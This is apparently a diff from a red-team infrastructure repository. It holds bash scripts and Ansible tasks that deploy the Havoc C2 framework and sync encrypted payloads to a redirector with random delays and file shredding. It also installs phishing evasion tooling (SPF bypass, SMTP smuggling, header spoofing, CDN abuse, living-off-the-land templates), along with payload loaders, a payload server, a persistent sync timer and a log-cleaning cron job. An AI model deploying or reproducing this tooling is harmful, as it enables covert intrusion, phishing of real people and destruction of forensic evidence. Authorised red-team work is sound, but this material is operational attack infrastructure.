ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
|
||||||
|
else
|
||||||
|
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
|
||||||
|
ssh_result=$?
|
||||||
|
debug "SSH connection result: $ssh_result"
|
||||||
|
|
||||||
|
if [ $ssh_result -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
|
||||||
|
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Could not connect to redirector.${NC}"
|
||||||
|
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
|
||||||
|
echo -e "If you need to access the redirector, please check deployment logs."
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to synchronize payloads with redirector
|
||||||
|
sync_payloads() {
|
||||||
|
# Check if sync script exists
|
||||||
|
debug "Attempting to synchronize payloads with redirector"
|
||||||
|
|
||||||
|
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
|
||||||
|
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
/root/Tools/secure_payload_sync.sh
|
||||||
|
else
|
||||||
|
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
|
||||||
|
sync_result=$?
|
||||||
|
debug "Payload sync result: $sync_result"
|
||||||
|
|
||||||
|
if [ $sync_result -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}Payload synchronization successful${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Payload synchronization failed${NC}"
|
||||||
|
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "\n${YELLOW}Payload sync script not found${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to run redirector post-install script
|
||||||
|
run_redirector_setup() {
|
||||||
|
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
|
||||||
|
debug "Checking if we can connect to redirector"
|
||||||
|
|
||||||
|
# First, test the connection
|
||||||
|
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||||
|
# Check if post_install_redirector.sh exists on the redirector
|
||||||
|
debug "Checking for post_install_redirector.sh on redirector"
|
||||||
|
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
|
||||||
|
|
||||||
|
check_result=$?
|
||||||
|
debug "Script check result: $check_result"
|
||||||
|
|
||||||
|
if [ $check_result -eq 0 ]; then
|
||||||
|
echo -e "${BLUE}Running post-install script on redirector...${NC}"
|
||||||
|
# Pass the debug flag if it's enabled here
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
|
||||||
|
else
|
||||||
|
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
|
||||||
|
fi
|
||||||
|
|
||||||
|
redir_setup_result=$?
|
||||||
|
debug "Redirector setup result: $redir_setup_result"
|
||||||
|
|
||||||
|
if [ $redir_setup_result -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Redirector post-installation failed${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${RED}SSH configuration for redirector not found${NC}"
|
||||||
|
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution
|
||||||
|
debug "Starting post-installation process with debug mode: $DEBUG"
|
||||||
|
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
|
||||||
|
|
||||||
|
echo -e "\n${BLUE}Running post-installation checks...${NC}"
|
||||||
|
|
||||||
|
# Get domain information
|
||||||
|
read -p "Enter primary domain: " domain
|
||||||
|
read -p "Enter email for Let's Encrypt: " email
|
||||||
|
|
||||||
|
# Check DNS configuration
|
||||||
|
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||||
|
check_dns $domain
|
||||||
|
|
||||||
|
# Ask if user wants to set up Let's Encrypt certificates
|
||||||
|
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
|
||||||
|
if [ "$setup_ssl" = "y" ]; then
|
||||||
|
setup_letsencrypt $domain $email
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Show DNS records to configure
|
||||||
|
show_dns_records $domain
|
||||||
|
|
||||||
|
# Test redirector connection
|
||||||
|
test_redirector
|
||||||
|
|
||||||
|
# Ask if user wants to sync payloads
|
||||||
|
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
|
||||||
|
if [ "$sync_payload" = "y" ]; then
|
||||||
|
sync_payloads
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Ask if user wants to run post-install on redirector
|
||||||
|
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
|
||||||
|
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
|
||||||
|
if [ "$run_on_redir" = "y" ]; then
|
||||||
|
run_redirector_setup
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
|
||||||
|
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
|
||||||
|
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
|
||||||
@@ -0,0 +1,150 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# secure_payload_sync.sh - OPSEC-focused payload distribution
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
|
||||||
|
REDIRECTOR_IP="{{ redirector_ip }}"
|
||||||
|
REDIRECTOR_USER="root"
|
||||||
|
SSH_KEY_PATH="/root/.ssh/id_ed25519"
|
||||||
|
REMOTE_PAYLOAD_DIR="/var/www/resources"
|
||||||
|
ENCRYPTED_TRANSFER=true
|
||||||
|
LOG_FILE="/root/Tools/logs/payload_sync.log"
|
||||||
|
LOG_RETENTION_DAYS=3
|
||||||
|
MAX_RANDOM_DELAY=300 # Max random delay in seconds
|
||||||
|
|
||||||
|
# Create minimal timestamped log with auto-rotation
|
||||||
|
log() {
|
||||||
|
mkdir -p $(dirname $LOG_FILE)
|
||||||
|
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
|
||||||
|
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add random delay for OPSEC
|
||||||
|
sleep_random() {
|
||||||
|
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
|
||||||
|
log "Adding random delay of $DELAY seconds"
|
||||||
|
sleep $DELAY
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate payload manifest and check for changes
|
||||||
|
check_for_changes() {
|
||||||
|
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
|
||||||
|
log "ERROR: Payload directory not found"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
TMP_DIR=$(mktemp -d)
|
||||||
|
MANIFEST_FILE="$TMP_DIR/manifest"
|
||||||
|
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
|
||||||
|
|
||||||
|
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
|
||||||
|
HASH_FILE="/root/Tools/.payload_hash"
|
||||||
|
|
||||||
|
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
|
||||||
|
log "No payload changes detected"
|
||||||
|
secure_delete $TMP_DIR
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo $CURRENT_HASH > $HASH_FILE
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
# Secure deletion of files/directories
|
||||||
|
secure_delete() {
|
||||||
|
if [ -d "$1" ]; then
|
||||||
|
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
|
||||||
|
rm -rf "$1" 2>/dev/null
|
||||||
|
elif [ -f "$1" ]; then
|
||||||
|
shred -n 3 -z -u "$1" 2>/dev/null
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Encrypt archive with random password
|
||||||
|
encrypt_archive() {
|
||||||
|
SRC="$1"
|
||||||
|
DEST="$2"
|
||||||
|
|
||||||
|
# Generate random password
|
||||||
|
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
|
||||||
|
PASS_FILE=$(mktemp)
|
||||||
|
echo $PASSWORD > $PASS_FILE
|
||||||
|
|
||||||
|
# Encrypt the archive
|
||||||
|
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
|
||||||
|
|
||||||
|
# Store password temporarily for transfer
|
||||||
|
echo $PASSWORD
|
||||||
|
|
||||||
|
# Securely delete password file
|
||||||
|
secure_delete $PASS_FILE
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution
|
||||||
|
main() {
|
||||||
|
log "Starting secure payload sync"
|
||||||
|
|
||||||
|
# Add randomized timing
|
||||||
|
sleep_random
|
||||||
|
|
||||||
|
# Check for payload changes
|
||||||
|
check_for_changes || exit 0
|
||||||
|
|
||||||
|
# Generate random archive name for OPSEC
|
||||||
|
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
|
||||||
|
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
|
||||||
|
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
|
||||||
|
# Create payload archive
|
||||||
|
log "Creating payload archive"
|
||||||
|
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
|
||||||
|
|
||||||
|
# Encrypt archive if enabled
|
||||||
|
PASSWORD=""
|
||||||
|
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||||
|
log "Encrypting payload archive"
|
||||||
|
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
|
||||||
|
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
|
||||||
|
else
|
||||||
|
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Transfer archive to redirector
|
||||||
|
log "Transferring payloads to redirector"
|
||||||
|
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
|
||||||
|
|
||||||
|
# Handle remote extraction with decryption if needed
|
||||||
|
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||||
|
REMOTE_CMD="
|
||||||
|
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||||
|
TEMP_DIR=\$(mktemp -d)
|
||||||
|
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
|
||||||
|
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
|
||||||
|
# Clean up
|
||||||
|
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
|
||||||
|
rm -rf \$TEMP_DIR
|
||||||
|
# Update web server if needed
|
||||||
|
systemctl reload nginx 2>/dev/null
|
||||||
|
"
|
||||||
|
else
|
||||||
|
REMOTE_CMD="
|
||||||
|
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||||
|
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
|
||||||
|
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
|
||||||
|
systemctl reload nginx 2>/dev/null
|
||||||
|
"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Execute command on redirector
|
||||||
|
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
|
||||||
|
|
||||||
|
# Clean up local temp files
|
||||||
|
log "Cleaning up temporary files"
|
||||||
|
secure_delete $TEMP_DIR
|
||||||
|
|
||||||
|
log "Payload sync completed successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Run main function
|
||||||
|
main
|
||||||
@@ -0,0 +1,134 @@
|
|||||||
|
---
|
||||||
|
# Advanced evasion techniques for red team phishing
|
||||||
|
|
||||||
|
- name: Install advanced evasion tools
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- python3-dnspython
|
||||||
|
- python3-requests
|
||||||
|
- python3-selenium
|
||||||
|
- chromium-browser
|
||||||
|
- chromium-chromedriver
|
||||||
|
- tor
|
||||||
|
- proxychains4
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Create SMTP smuggling configuration
|
||||||
|
template:
|
||||||
|
src: "../templates/smtp-smuggling.py.j2"
|
||||||
|
dest: "/root/Tools/phishing/smtp-smuggling.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: enable_smtp_smuggling | default(false) | bool
|
||||||
|
|
||||||
|
- name: Configure SPF bypass techniques
|
||||||
|
template:
|
||||||
|
src: "../templates/spf-bypass.sh.j2"
|
||||||
|
dest: "/root/Tools/phishing/spf-bypass.sh"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: enable_spf_bypass | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create domain aging simulation
|
||||||
|
template:
|
||||||
|
src: "../templates/domain-aging.py.j2"
|
||||||
|
dest: "/root/Tools/phishing/domain-aging.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: aged_domain_mode | default(false) | bool
|
||||||
|
|
||||||
|
- name: Set up MTA fronting configuration
|
||||||
|
template:
|
||||||
|
src: "../templates/mta-fronting.conf.j2"
|
||||||
|
dest: "/etc/postfix/mta_fronting.cf"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: enable_mta_fronting | default(false) | bool
|
||||||
|
notify: restart postfix
|
||||||
|
|
||||||
|
- name: Create file format manipulation tools
|
||||||
|
copy:
|
||||||
|
src: "{{ item.src }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
# Note: These files need to be created or paths need to be verified
|
||||||
|
# - { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" }
|
||||||
|
# - { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" }
|
||||||
|
# - { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" }
|
||||||
|
[]
|
||||||
|
|
||||||
|
- name: Create Living off the Land (LOtL) payload templates
|
||||||
|
template:
|
||||||
|
src: "{{ item.src }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" }
|
||||||
|
- { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" }
|
||||||
|
- { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" }
|
||||||
|
|
||||||
|
- name: Set up CDN abuse configuration
|
||||||
|
template:
|
||||||
|
src: "../templates/cdn-abuse.py.j2"
|
||||||
|
dest: "/root/Tools/phishing/cdn-abuse.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: enable_cdn_abuse | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create domain reputation monitoring
|
||||||
|
template:
|
||||||
|
src: "../templates/reputation-monitor.py.j2"
|
||||||
|
dest: "/root/Tools/phishing/reputation-monitor.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Set up cron job for reputation monitoring
|
||||||
|
cron:
|
||||||
|
name: "Domain reputation monitoring"
|
||||||
|
minute: "0"
|
||||||
|
hour: "*/4"
|
||||||
|
job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1"
|
||||||
|
|
||||||
|
- name: Create email header spoofing tools
|
||||||
|
template:
|
||||||
|
src: "../templates/header-spoofing.py.j2"
|
||||||
|
dest: "/root/Tools/phishing/header-spoofing.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Configure Tor for anonymization
|
||||||
|
template:
|
||||||
|
src: "../templates/torrc-phishing.j2"
|
||||||
|
dest: "/etc/tor/torrc"
|
||||||
|
backup: yes
|
||||||
|
notify: restart tor
|
||||||
|
when: enable_tor_routing | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create user-agent rotation script
|
||||||
|
template:
|
||||||
|
src: "../templates/user-agent-rotation.py.j2"
|
||||||
|
dest: "/root/Tools/phishing/user-agent-rotation.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Set up automated evasion techniques
|
||||||
|
template:
|
||||||
|
src: "../templates/automated-evasion.py.j2"
|
||||||
|
dest: "/root/Tools/phishing/automated-evasion.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: enable_automated_evasion | default(false) | bool
|
||||||
@@ -0,0 +1,344 @@
|
|||||||
|
---
|
||||||
|
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Update apt cache
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Disable default Kali MOTD
|
||||||
|
file:
|
||||||
|
path: "{{ ansible_env.HOME }}/.hushlogin"
|
||||||
|
state: touch
|
||||||
|
mode: '0644'
|
||||||
|
when: ansible_distribution == "Kali GNU/Linux"
|
||||||
|
|
||||||
|
- name: Set a custom MOTD
|
||||||
|
template:
|
||||||
|
src: "../../common/templates/motd.j2"
|
||||||
|
dest: /etc/motd
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Install base utilities and tools via apt
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- git
|
||||||
|
- wget
|
||||||
|
- curl
|
||||||
|
- unzip
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- tmux
|
||||||
|
- pipx
|
||||||
|
- nmap
|
||||||
|
- tcpdump
|
||||||
|
- hydra
|
||||||
|
- john
|
||||||
|
- hashcat
|
||||||
|
- sqlmap
|
||||||
|
- gobuster
|
||||||
|
- dirb
|
||||||
|
- enum4linux
|
||||||
|
- dnsenum
|
||||||
|
- seclists
|
||||||
|
- responder
|
||||||
|
- golang
|
||||||
|
- proxychains
|
||||||
|
- tor
|
||||||
|
- crackmapexec
|
||||||
|
- jq
|
||||||
|
- build-essential
|
||||||
|
- zip
|
||||||
|
- unzip
|
||||||
|
- postfix
|
||||||
|
- net-tools
|
||||||
|
- certbot
|
||||||
|
- opendkim
|
||||||
|
- opendkim-tools
|
||||||
|
- dovecot-core
|
||||||
|
- dovecot-imapd
|
||||||
|
- dovecot-pop3d
|
||||||
|
- dovecot-sieve
|
||||||
|
- dovecot-managesieved
|
||||||
|
- yq
|
||||||
|
- build-essential
|
||||||
|
# Additional Havoc C2 dependencies
|
||||||
|
- mingw-w64
|
||||||
|
- nasm
|
||||||
|
- cmake
|
||||||
|
- ninja-build
|
||||||
|
- libfontconfig1
|
||||||
|
- libglu1-mesa-dev
|
||||||
|
- libgtest-dev
|
||||||
|
- libspdlog-dev
|
||||||
|
- libboost-all-dev
|
||||||
|
- libncurses5-dev
|
||||||
|
- libgdbm-dev
|
||||||
|
- libssl-dev
|
||||||
|
- libreadline-dev
|
||||||
|
- libffi-dev
|
||||||
|
- libsqlite3-dev
|
||||||
|
- libbz2-dev
|
||||||
|
- mesa-common-dev
|
||||||
|
- qtbase5-dev
|
||||||
|
- qtchooser
|
||||||
|
- qt5-qmake
|
||||||
|
- qtbase5-dev-tools
|
||||||
|
- libqt5websockets5
|
||||||
|
- libqt5websockets5-dev
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Create directories for operational scripts
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- /root/Tools
|
||||||
|
- /root/Tools/beacons
|
||||||
|
- /root/Tools/payloads
|
||||||
|
|
||||||
|
- name: Copy operational scripts
|
||||||
|
copy:
|
||||||
|
src: "{{ item }}"
|
||||||
|
dest: "/root/Tools/{{ item | basename }}"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- "../../../common/files/clean-logs.sh"
|
||||||
|
- "../../../common/files/secure-exit.sh"
|
||||||
|
- "../files/havoc_installer.sh"
|
||||||
|
- "../files/havoc_shell_handler.sh"
|
||||||
|
- "../files/secure_payload_sync.sh"
|
||||||
|
|
||||||
|
- name: Copy post-install script
|
||||||
|
copy:
|
||||||
|
src: "../../../common/files/post_install_c2.sh"
|
||||||
|
dest: "/root/Tools/post_install_c2.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Copy port randomization script
|
||||||
|
copy:
|
||||||
|
src: "../../../common/files/randomize_ports.sh"
|
||||||
|
dest: "/root/Tools/randomize_ports.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create post-install instructions
|
||||||
|
template:
|
||||||
|
src: "../../common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2"
|
||||||
|
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Set up systemd timer for payload sync
|
||||||
|
shell: |
|
||||||
|
cat > /etc/systemd/system/payload-sync.service << 'EOF'
|
||||||
|
[Unit]
|
||||||
|
Description=Secure Payload Sync Service
|
||||||
|
After=network-online.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=oneshot
|
||||||
|
ExecStart=/root/Tools/secure_payload_sync.sh
|
||||||
|
User=root
|
||||||
|
Group=root
|
||||||
|
PrivateTmp=true
|
||||||
|
StandardOutput=null
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
cat > /etc/systemd/system/payload-sync.timer << 'EOF'
|
||||||
|
[Unit]
|
||||||
|
Description=Secure Payload Sync Timer
|
||||||
|
Requires=payload-sync.service
|
||||||
|
|
||||||
|
[Timer]
|
||||||
|
OnBootSec=5min
|
||||||
|
OnUnitActiveSec=30m
|
||||||
|
RandomizedDelaySec=30m
|
||||||
|
Persistent=true
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=timers.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable payload-sync.timer
|
||||||
|
systemctl start payload-sync.timer
|
||||||
|
|
||||||
|
- name: Install Havoc C2 Framework
|
||||||
|
shell: "/root/Tools/havoc_installer.sh"
|
||||||
|
args:
|
||||||
|
creates: "/root/Tools/Havoc"
|
||||||
|
async: 1800 # Allow 30 minutes for completion
|
||||||
|
poll: 0 # Don't wait for completion
|
||||||
|
register: havoc_installation_job
|
||||||
|
|
||||||
|
- name: Wait for Havoc installation to complete
|
||||||
|
async_status:
|
||||||
|
jid: "{{ havoc_installation_job.ansible_job_id }}"
|
||||||
|
register: job_result
|
||||||
|
until: job_result.finished
|
||||||
|
retries: 60 # Check every 30 seconds for up to 30 minutes
|
||||||
|
delay: 30
|
||||||
|
when: havoc_installation_job is defined
|
||||||
|
|
||||||
|
- name: Display Havoc installation output
|
||||||
|
debug:
|
||||||
|
var: havoc_installation_result.stdout_lines
|
||||||
|
when: havoc_installation_result.stdout_lines is defined
|
||||||
|
|
||||||
|
- name: Create Havoc payload generation script
|
||||||
|
template:
|
||||||
|
src: "../templates/generate_havoc_payloads.sh.j2"
|
||||||
|
dest: "/root/Tools/generate_havoc_payloads.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create Havoc C2 configuration from template
|
||||||
|
template:
|
||||||
|
src: "../templates/havoc-config.yaotl.j2"
|
||||||
|
dest: "/root/Tools/Havoc/data/havoc.yaotl"
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create Linux loader script template
|
||||||
|
template:
|
||||||
|
src: "../../common/templates/linux_loader.sh.j2"
|
||||||
|
dest: "/root/Tools/linux_loader.template"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create Windows PowerShell loader template
|
||||||
|
template:
|
||||||
|
src: "../../common/templates/windows_loader.ps1.j2"
|
||||||
|
dest: "/root/Tools/windows_loader.template"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create beacon server script from template
|
||||||
|
template:
|
||||||
|
src: "../templates/serve-havoc-payloads.sh.j2"
|
||||||
|
dest: "/root/Tools/serve-havoc-payloads.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||||
|
domain: "{{ domain }}"
|
||||||
|
redirector_port: "{{ redirector_port | default('443') }}"
|
||||||
|
|
||||||
|
- name: Run port randomization if enabled
|
||||||
|
include_tasks: port_randomization.yml
|
||||||
|
when: randomize_ports | default(false) | bool
|
||||||
|
|
||||||
|
- name: Generate Havoc payloads
|
||||||
|
shell: "/root/Tools/generate_havoc_payloads.sh"
|
||||||
|
args:
|
||||||
|
creates: "/root/Tools/Havoc/payloads/manifest.json"
|
||||||
|
register: payload_generation_result
|
||||||
|
environment:
|
||||||
|
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Display payload generation output
|
||||||
|
debug:
|
||||||
|
var: payload_generation_result.stdout_lines
|
||||||
|
when: payload_generation_result.stdout_lines is defined
|
||||||
|
|
||||||
|
- name: Start payload server
|
||||||
|
shell: |
|
||||||
|
nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 &
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
register: beacon_server_result
|
||||||
|
|
||||||
|
- name: Create NGINX configuration fragment for redirector
|
||||||
|
template:
|
||||||
|
src: "../../redirectors/templates/redirector-havoc-fragment.j2"
|
||||||
|
dest: "/root/Tools/redirector-config.conf"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
c2_ip: "{{ ansible_host }}"
|
||||||
|
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
|
||||||
|
- name: Create Havoc usage guide
|
||||||
|
template:
|
||||||
|
src: "../templates/havoc-guide.j2"
|
||||||
|
dest: "/root/havoc-guide.txt"
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
c2_ip: "{{ ansible_host }}"
|
||||||
|
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
|
||||||
|
- name: Include traffic flow configuration
|
||||||
|
include_tasks: "../../common/tasks/traffic_flow_config.yml"
|
||||||
|
|
||||||
|
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||||
|
cron:
|
||||||
|
name: "Clean logs"
|
||||||
|
minute: "0"
|
||||||
|
hour: "*/6"
|
||||||
|
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||||
|
when: zero_logs is defined and zero_logs | bool
|
||||||
|
|
||||||
|
- name: Ensure SSH key for redirector access is available
|
||||||
|
block:
|
||||||
|
- name: Copy deployment SSH key to C2 for redirector access (AWS)
|
||||||
